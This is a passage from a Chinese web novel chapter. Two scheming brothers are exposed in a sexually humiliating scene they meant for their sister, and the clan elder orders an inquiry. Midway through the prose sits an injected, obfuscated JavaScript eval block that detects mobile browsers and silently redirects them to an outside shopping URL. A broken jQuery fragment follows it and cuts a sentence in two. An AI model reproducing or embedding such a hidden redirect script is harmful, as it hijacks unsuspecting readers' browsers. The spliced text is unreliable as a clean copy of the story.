现场无比吵闹,王氏和姜定的尖叫声,以及方嬷嬷和冯嬷嬷尽力去拉勾缠的几人下了死力气。
以及妘柔当时特意没有下那么多的药,就是为了让两人能够在捉奸的时候保持清醒。
故而,不过片刻,姜风年和姜风明悠悠清醒,眼神从浑浊和迷茫缓缓变得清醒。
先是入耳的声音,是爹娘的叫喊。
姜风年有些迷茫,这是发生了什么大事,爹娘怎么会这么不顾形象的大喊大叫。
紧接着,混沌的脑袋像是想起了什么。
嘴角缓缓露出一抹笑。
对了,说不定是姜云姬那贱人和乞丐苟且被爹娘发现,而且今天众多族老在场,爹娘肯定是气急了。
哈哈哈,这么想着,竟然差点笑出声来。
从今天开始,那贱人一定会被赶出侯府,就再也没人能威胁到清清的地位了。
姜风年转身想要看看姜云姬的惨状,可全身痛的厉害,脑袋怎么也昏昏沉沉的呢。
尤其是不可言说的某处,怎的火辣辣的痛。
稍微一动都带来一阵钻心的疼。
他到底是怎么了,不过只要最后结果是好的,成功赶走姜云姬,那就行。
紧接着,他又听见隐隐约约的声音。
“哎呀,大少爷这是清醒了?怎么嘴角还带着笑呢?”这话是妘柔故意说的,就是让众人看看姜风年是如何浪荡的,和几个乞丐苟且竟然还幸福的笑。
果不其然,本来没发现姜风年醒的人纷纷看去,就见他脸上幸福满足的笑。
一众族老差点没气的背过气去。
“哎呀,真是不知羞耻,不知羞耻啊,当着我们这群老家伙的面,还敢这般不知廉耻,丢人,丢人啊!!”一个族老抬袖掩面,气的跺脚,最后气愤离去,显然是不想再多看一眼,怕脏了眼睛。
另一个族老手抚胸口,脸色铁青,“姜定,王氏,你们就是这样教导孩子的,姜风年和姜风明平日不学无术也就罢了,没想到竟然连礼义廉耻,尊严脸面都不顾了吗!真是腌臜,腌臜啊!!”
这些话姜风年都能听见,但是却不明白。
这群老东西骂的不应该是姜云姬那个和乞丐苟且的贱人吗?
怎么反倒骂起他和三弟来了。
一气之下,姜风年依靠意志力强行让自己睁开眼睛,想要看看是哪个不长眼的老东西竟然敢骂他,可睁眼的一瞬间,姜风年懵了。
他看见了什么,门口围着一群人,似乎都是在看他的,而且那眼神,好像是看见了世界上最肮脏的垃圾一般,嫌弃,鄙夷,唾弃,甚至还有几个人作呕。
姜风年彻底懵了。
下意识低头看。
就看自己光着身子,方嬷嬷在拉自己的手臂,脸色涨红,见他看过去,眼中惊喜,道,“大少爷您可终于醒了,快快随着老奴的力道往这边来。”
姜风年下意识听方嬷嬷的话,用尽全身好不容易恢复的一点力气往方嬷嬷方向靠拢。
虽然不知道方嬷嬷要拉他,但方嬷嬷看着他长大,是母亲最得力的心腹之一,肯定不会害他的。
姜风年又突然想起今天要害姜云姬的事情,想问问方嬷嬷,那贱人现如今是何下场,“方嬷嬷,那贱……呃……”
话音断,就在他被方嬷嬷用力往前拉的时候。
身后好像有什么东西从不可言说的地方滑了出去,他没少去秦楼楚馆,对于男人之间的事情也了解非常。
这种情况……
姜风年下意识转头看去。
结果正好看见身后眼神迷茫,全身脏污,不是他找来陷害姜云姬的脏臭乞丐又是谁呢。
顿时,姜风年的大脑嗡的一声,像是有人用榔头重重的在他脑袋上狠狠敲了一下。
敲的他头晕目眩,一片空白。
方嬷嬷说的话他一个字都听不清,转头环顾周围。
先是看见了和他差不多的三弟,以及三个乞丐,都是他和三弟找来的。
如同蛆虫一般蠕动的身体。
再加上刚才他身体的异样。
他不是傻子,怎会不知发生了什么。
姜风年一把甩开方嬷嬷拉着他的手,下意识用被子包裹住自己,脸色苍白,浑身颤抖。
抬头,先是看见了父亲失望满是斥责的目光,而后是母亲哽咽着扑过来的身影,满是心疼的看着他,而后是晕倒在一旁的三弟,终于被家丁打晕的三个乞丐,大门口,房间呢,院子外密密麻麻站着的姜氏家族的人,族老们看垃圾的目光。
简直就像是刀子一样狠狠戳在他的身上。
怎么会,怎么会……
怎么会这样,在这里的不应该是姜云姬那个贱人吗?
然后他带着一众族老来捉奸,最后姜云姬身败名裂被扔出侯府。
可怎么会这样呢,怎么会这样呢。
姜风年下意识顺着看过来的视线抬头,正好撞进姜云姬嘲讽鄙夷的眼神,那眼神中还有笑意。
顿时,他就清楚了。
他要计策早就败露,姜云姬这个贱人早就知道他的谋划,这是她故意的,是她算计他的。
骤然间,姜风年像是突然发了疯一般指着站在族老们身后乖巧的姜云姬,面目狰狞,声音如破锣嘶吼,“你,都是你,都是你这个贱人,你故意陷害我的对不对,都是你,一定是你,是你害我的!!”
王氏本来抱着姜风年痛哭,闻言也朝着姜云姬看去,眼神霎时变得毒辣,怨恨。
“娘,一定是姜云姬害我的,你要相信我,儿子怎么会做出这样的事情来!”
姜风年嘶吼之后,浑身无力倒在王氏怀中,可仍旧死死盯着姜云姬不放。
他的人生彻底毁了,今天这一遭之后,他哪里还有什么未来,哪里还有什么颜面呢。
王氏对自己儿子的话毫不怀疑。
指着姜云姬怒骂,“你这个丧门星,就不该接你回侯府,你个狼心狗肺的东西,连你哥哥都害,我杀了你!!!”
说着,王氏好好放下姜风年后,抽出头上的发簪对着姜云姬猛地冲了过去。
那模样,像是对灭门仇人。
不问青红皂白,直接就要灭杀了姜云姬这个亲生女儿。
为首站着的族长眯了眯眼睛,不轻不淡的看了一眼仍旧愣神的姜定。
姜定一个激灵,瞬间明白了族长的意思,三步并作两步冲上前抓住王氏,手腕一扭卸下王氏手中发簪。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17752229|208644||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
叮咚落地。
“老爷,你放开我,让我杀了这个丧门星,都怪这个丧门星,都把我的儿子害成什么样了,我的两个儿啊都被她给毁了。”
王氏恨不得把所有恶毒的语言都用来骂在姜云姬身上。
恨不得啖其肉,饮其血。
若不是姜定牢牢将人控制住,恐怕此时那发簪就插在姜云姬心脏。
“呜呜呜,老爷,你可要为我们的儿子报仇啊,这可是我们唯二的两个嫡子啊!呜呜呜,老爷啊!!!”
王氏的哭诉,姜风年和姜风明的凄惨,都让姜定心烦意乱。
同时也不免被王氏的言语所影响,蹙着眉头看着姜云姬,面露犹豫。
可……这种手段又不太像是姜云姬能做得出来的,一个人的底线很容易试探出来。
这几天的时间,他总觉得这个女儿不像是用这种腌臜手段害人的。
王氏见姜定不说话,哭诉声更高,"呜呜呜,老爷啊,我的儿子被这丧门星暗害,我活不下去了啊,今天要是不处理了这丧门……”
“够了!!!”自始至终一言不发的族长怒斥打断王氏。
族长发怒,现场一片寂静。
就连王氏也不敢哭闹。
族长那双苍老但犀利仿佛能看透一切的眸子缓缓看向姜风年和晕了醒,醒了晕呆呆的姜风明身上。
感受到族长的视线,姜风年后背冒出冷汗。
急忙哭诉装可怜,“族长,您一定要为我做主啊,姜云姬这个贱…她竟然只因为我偏心了一些清清,就做出这种害我的事情,此子断不可留啊!!以后咱们姜家说不得都要被她牵连,惹出大祸啊!”
姜风年言之凿凿,只恨不得当场弄死姜云姬,才能解他心头之恨。
可是族长始终不为所动,审视看着姜风年,问,“你说是她害你,你可肯定?”
“肯定,肯定,族长,一定是姜云姬害我,您快把她抓起来,打断她的腿,扔出侯府!!”
族长移开目光,缓缓道,“任何事情都讲究一个证据,也讲究一个理字,不能你空口白牙说什么,本族长就信什么。”
“来人,全面搜索侯府,所有下人都控制起来,本族长倒要看看,是谁这么胆大包天,若真的是姜云姬,本族长决不轻饶,但…”族长看了一眼姜风年,又看了一眼姜风明,紧接着又看向王氏,“但若是有人凭空污蔑,休怪本族长无情!”
王氏眼神闪烁,想要上前说些什么,却被姜定死死拉住。
触及姜定那怀疑审视的眼神,王氏猛地低头。
姜定移开目光,深呼吸一口气。
心里有种不好的预感,今天这事不会是风年和风明想要暗害别人不成,最后自己偷鸡不成蚀把米吧!
想到这,姜定陡然打了一个激灵。
族长的人手查探很快,不出半个时辰便有了消息。
姜云姬不动声色转头看向自家闺蜜妘柔,妘柔微不可察点点头,表示一切都整理好了,不用担心。
至此,姜云姬彻底放松下来。
静静等候下一场好戏登场。
小柔的能力她是非常信赖,小柔说事情处理好了那就一定处理的非常完美。